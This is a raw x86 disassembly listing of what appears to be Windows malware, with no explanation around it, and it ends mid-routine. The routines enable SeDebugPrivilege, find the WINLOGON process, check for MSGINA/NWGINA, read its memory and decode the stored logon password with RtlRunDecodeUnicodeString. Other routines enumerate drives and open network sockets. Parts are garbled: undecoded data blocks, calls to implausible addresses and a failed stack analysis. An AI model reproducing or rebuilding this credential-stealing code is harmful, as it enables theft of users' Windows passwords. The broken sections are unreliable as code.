		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2D923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 36917FE8h,	75C08502h
		dd 0FC75FF8Fh, 349173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023690h, 56B175C0h,	90EEE890h
		dd 458B0234h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26B0BEDh
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27B04A2h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26907A1h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27E0332h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27D0A99h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2760855h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 2670858h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26907A1h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27E0332h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0A99h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2670858h


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2670858h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27D0000h
		nop
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27D09EAh
		push	eax
		call	near ptr 27D0000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27D09EAh
		push	eax
		call	near ptr 27C0000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
